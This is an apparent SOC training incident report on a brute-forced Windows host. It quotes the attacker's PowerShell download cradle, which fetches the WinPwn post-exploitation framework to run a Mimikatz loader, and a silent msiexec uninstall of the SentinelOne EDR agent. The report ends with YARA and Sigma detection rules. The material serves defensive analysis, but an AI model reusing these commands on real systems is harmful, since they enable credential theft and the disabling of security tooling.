Event ID: 296
Date/Time: Sep 03, 2024, 12:42 PM
Host: Lorna (EC2AMAZ-ILGVOIN)
Internal IP: 172.16.17.119
User: LetsDefend
Device Action: Allowed
Verdict: True Positive
Brute force login attempts against user LetsDefend originating from 212[.]102[.]51[.]45. VirusTotal flags the source as a VPN exit node; AbuseIPDB flags it malicious based on brute force reports. Approximately 20 attempts, culminating in a successful login at 12:40 PM.
| Time | Activity | Notes |
|---|---|---|
| 12:41:02 | whoami | Discovery |
| 12:41:09 | whoami /all | Discovery |
| 12:41:18 | systeminfo | Discovery |
| 12:41:47 | tasklist | Discovery |
| 12:42:05 | net user | Discovery |
| 12:42:12 | net group | Discovery |
| 12:42:16 | taskhostw.exe Install $(Arg0) | Unresolved artifact, unexpanded variable, flagged not confirmed |
| 12:42:18 | runas /user:LetsDefend "powershell.exe" | Did not elevate, same user context confirmed |
| 12:42:24 | __PSScriptPolicyTest_eqqmonbo.5xk.ps1 created | Benign PowerShell policy check artifact, not attacker tooling |
| 12:42:44 | ping google.com | Connectivity test |
| 12:42:51 | IEX download cradle executed | See below |
| 12:43:05 | CreateRemoteThread into csrss.exe | See Process Injection |
| 12:46:50-51 | msiexec SentinelOne uninstall | See Defense Evasion |
iex(new-object net.webclient).downloadstring('hxxps://raw[.]githubusercontent[.]com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn[.]ps1') mimiload -consoleoutput -noninteractive
WinPwn is a publicly available offensive PowerShell post-exploitation framework. The attacker invoked the mimiload module (Mimikatz wrapper) directly with -noninteractive, indicating the module was pre-selected rather than navigated via menu. Execution was fully in-memory; no file written to disk for the payload itself.
Sysmon EID 8 (CreateRemoteThread), 12:43:05 - 14 seconds after the IEX execution.
No Sysmon EID 10 (ProcessAccess) entries were found targeting lsass.exe. This does not rule out credential access, since a successful thread injection into a SYSTEM process could provide an alternate path to elevated execution that would not necessarily generate an EID 10 record against LSASS.
Sysmon EID 1, 12:46:50 and 12:46:51.
msiexec.exe /x {CD6E5136-A1CF-498C-E7C334802225} /qn /quiet /norestart /l*vx "C:\Windows\TEMP\SentinelUninstall_2024-09-03_12-46-50.log"
Confirms a silent uninstall of the SentinelOne EDR agent executed with SYSTEM privileges, approximately 4 minutes after the process injection event. The timing sequence supports the injection having obtained SYSTEM-level execution, subsequently used to disable endpoint protection.
| Technique | Tactic | Description |
|---|---|---|
| T1110 | Credential Access | Brute Force |
| T1078 | Defense Evasion | Valid Accounts |
| T1033 | Discovery | System Owner/User Discovery |
| T1082 | Discovery | System Information Discovery |
| T1057 | Discovery | Process Discovery |
| T1087.001 | Discovery | Account Discovery: Local Account |
| T1069.001 | Discovery | Permission Groups Discovery: Local Groups |
| T1059.001 | Execution | Command and Scripting Interpreter: PowerShell |
| T1620 | Defense Evasion | Reflective Code Loading |
| T1003 | Credential Access | OS Credential Dumping - LSASS/SAM (attempted via mimiload, not confirmed successful, no EID 10 corroboration) |
| T1055 | Privilege Escalation | Process Injection (CreateRemoteThread into csrss.exe; specific sub-technique unconfirmed, StartModule blank) |
| T1562.001 | Defense Evasion | Impair Defenses: Disable or Modify Tools (SentinelOne uninstall) |
| Type | Value | Notes |
|---|---|---|
| IP | 212[.]102[.]51[.]45 | Brute force source, Japan geo, VPN (VT), malicious (AbuseIPDB) |
| IP | 172[.]16[.]17[.]119 | Internal victim host (Lorna) |
| URL | hxxps[://]raw[.]githubusercontent[.]com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn[.]ps1 | WinPwn framework source |
| User | LetsDefend | Compromised account |
| Host | Lorna (EC2AMAZ-ILGVOIN) | Victim host |
| MSI GUID | {CD6E5136-A1CF-498C-E7C334802225} | SentinelOne product code, uninstalled |
https://www.abuseipdb.com/check/212.102.51.45 https://www.virustotal.com/gui/ip-address/212.102.51.45 https://github.com/S3cur3Th1sSh1t/WinPwn
Full attack chain observed from initial access through defense evasion, with apparent privilege escalation succeeding partway through - not an early-stage catch.
rule WinPwn_Mimiload_Module
{
meta:
description = "Detects WinPwn framework content, specifically the mimiload credential dumping module"
author = "Tate"
date = "2026-07-27"
reference = "https://github.com/S3cur3Th1sSh1t/WinPwn"
strings:
$winpwn1 = "WinPwn" ascii wide
$winpwn2 = "S3cur3Th1sSh1t" ascii wide
$mimiload1 = "mimiload" ascii wide nocase
$mimiload2 = "-consoleoutput" ascii wide nocase
$mimiload3 = "-noninteractive" ascii wide nocase
$behavior1 = "DownloadString" ascii wide
$behavior2 = "Invoke-Mimikatz" ascii wide nocase
condition:
2 of ($winpwn*) or
(1 of ($winpwn*) and 1 of ($mimiload*)) or
(1 of ($mimiload*) and 1 of ($behavior*))
}
title: PowerShell IEX Download Cradle Execution
id: 8f3a2b1c-4d5e-4f6a-9b8c-1a2b3c4d5e6f
status: experimental
description: Detects fileless download cradle pattern using IEX with WebClient DownloadString, associated with reflective code loading of remote PowerShell scripts
references:
- https://attack.mitre.org/techniques/T1059/001/
- https://attack.mitre.org/techniques/T1620/
author: Tate
date: 2026-07-27
tags:
- attack.execution
- attack.t1059.001
- attack.defense-evasion
- attack.t1620
logsource:
category: process_creation
product: windows
detection:
selection_process:
Image|endswith: '\powershell.exe'
selection_iex:
CommandLine|contains: 'IEX'
selection_cradle:
CommandLine|contains|all:
- 'Net.WebClient'
- 'DownloadString'
condition: selection_process and selection_iex and selection_cradle
falsepositives:
- Legitimate administrative scripts using update-checking cradles (rare, should be allowlisted by hash/path if so)
level: high
title: Suspicious PowerShell Process Access to LSASS
id: 3c4d5e6f-7a8b-4c9d-ae1f-2b3c4d5e6f7a
status: experimental
description: Detects potential credential dumping via suspicious access rights requested against lsass.exe from a PowerShell process, consistent with Mimikatz-style memory read tooling (e.g. WinPwn mimiload module)
references:
- https://attack.mitre.org/techniques/T1003/001/
author: Tate
date: 2026-07-27
tags:
- attack.credential-access
- attack.t1003.001
logsource:
category: process_access
product: windows
service: sysmon
detection:
selection_target:
TargetImage|endswith: '\lsass.exe'
selection_source:
SourceImage|endswith: '\powershell.exe'
selection_access:
GrantedAccess:
- '0x1010'
- '0x1410'
- '0x1010'
- '0x1438'
- '0x143a'
condition: selection_target and selection_source and selection_access
falsepositives:
- EDR or AV agents performing legitimate LSASS inspection (verify SourceImage path and signer)
level: critical